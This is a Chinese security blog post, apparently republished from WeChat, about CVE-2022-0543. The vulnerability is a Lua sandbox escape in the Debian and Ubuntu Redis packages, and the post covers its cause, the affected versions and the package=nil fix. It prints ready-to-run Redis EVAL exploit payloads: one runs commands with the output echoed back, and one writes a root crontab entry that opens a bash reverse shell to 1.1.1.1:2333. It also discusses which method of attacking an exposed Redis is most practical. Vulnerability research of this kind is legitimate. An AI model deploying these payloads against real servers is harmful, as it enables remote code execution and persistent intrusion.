一个关于Redis攻击面新姿势？Redis Lua沙盒绕过命令执行（CVE-2022-0543）

“ 其实。。可能是一个骚操作骚断腿的故事”

Redis是著名的开源Key-Value数据库，其具备在沙箱中执行Lua脚本的能力。

近日，根据国外某大佬披露，在debian和ubuntu系统中部署的redis，存在任意代码执行漏洞（CVE-2022-0543），

参考：https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce

原因是在Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。

环境搭建

根据debian和ubuntu的说明，影响如下范围：

Debian Redis：Debian Redis < 5:5.0.14-1+deb10u2Debian Redis < 5:6.0.16-1+deb11u2Debian Redis < 5:6.0.16-2
Ubuntu Redis：Ubuntu Redis < 5:6.0.15-1ubuntu0.1Ubuntu Redis < 5:5.0.7-2ubuntu0.1

不过已经有了vulhub，那我们就拉下vulhub的镜像吧：

参见：

https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md

具体操作就不细说了，人家讲的很详细了

先来复现一波吧

Redis本身就是具有执行lua脚本的能力，漏洞的利用也是通过redis去执行lua脚本来实现的。所以想要利用漏洞，其实还是需要先通过认证，或者可未授权访问redis才可以去执行脚本。

看了大佬的说法，这个攻击面其实一直都存在，只是之前这个脚本在执行后一直是跑在沙箱里，没办法去做执行命令或者写文件等操作。

按照官方文档的说明（https://redis.io/topics/lua-api），也基本是这个意思，redis里的lua脚本就不应该拥有文件系统、网络及系统调用能力：

通常在redis里执行lua脚本的语法类似如下这样：

EVAL "return 'hello world'" 0

其中"return 'hello world'"：就是脚本的内容；0，是说没有用到key参数，直接返回

复现这里可以借鉴一下vulhub中的poc。

这里需要注意的是，由于漏洞是加载系统liblua库实现的执行沙盒以外代码的能力，因此在不同环境中liblua库可能存在不同。比如vulhub中的路径是‘/usr/lib/x86_64-linux-gnu/liblua5.1.so.0’，而在作者文章中路径就是‘/usr/lib/x86_64-linux-gnu/liblua5.1.so’。下面一并贴出来大家感受下。

vulhub poc:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

可以直接回显输出命令执行的结果

作者poc(只执行，不回显)：

eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_poc"); return 0' 0

这里也贴一个我自己写的写文件的poc，比如我们尝试写一个计划任务：

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.open("/var/spool/cron/crontabs/root", "w");local res = f:write("n* * * * * /bin/bash -i>&/dev/tcp/1.1.1.1/2333 0>&1n");f:close();return res' 0

更多的也可以去参考官方的文档

故事时间

这漏洞乍一看，不还是redis未授权？既然都是需要认证或者是未授权，那么看起来这个漏洞似乎有点鸡肋？但实际利用时还是有一定意义的，尤其是在ubuntu环境。

众所周知，在ubuntu环境下如果只有一个未授权的redis。因为在写入文件的时候会带入很多乱码，以及写入计划任务的权限和通常计划任务的权限不太一样，等等类似的问题，实还是有很多坑的。

其他手法如：写webshell、写ssh密钥，也会存在上述问题，并且需要很多先天条件，主从复制RCE的方法，在业务环境直接测试也还是存在一定风险。

因此在此时，一个能直接执行命令且回显结果的方法在此时就凸显出魅力了。

此外，另一个有意思的地方是，在反复看了各种大佬的文章后，发现这其实应该算是个debian/ubuntu的漏洞，锅不该是redis的。

在redis中，本来是有类似代码的，人家为了不让逃脱沙箱，还刻意将这个注释掉了。

但由于各种Linux发行版（centos、Debian、Ubuntu等）会在原始软件的基础上打一些补丁包。比如这次Debian发行版在redis之上打的这个补丁，好家伙，把人家注释的代码又打回来了，一波看不懂的迷之操作

所以作者建议，要修复还是用 package=nil 来修复吧

----- end -------

上一篇开了付费，主要是想避免被盗文章，并不是想靠这赚钱。主要内容都是可直接看的，也在付费区之前做了提示。但发现其实是存在很多问题，体验并不是很好，算了，这次就不设为付费，但依旧感谢之前付费打赏的朋友，感谢支持。

本演示仅用于学习和研究，请在实验环境中运行，请勿用于其他任何非法用途，否则后果自负！

原文始发于微信公众号（hijackY）：一个关于Redis攻击面新姿势？Redis Lua沙盒绕过命令执行（CVE-2022-0543）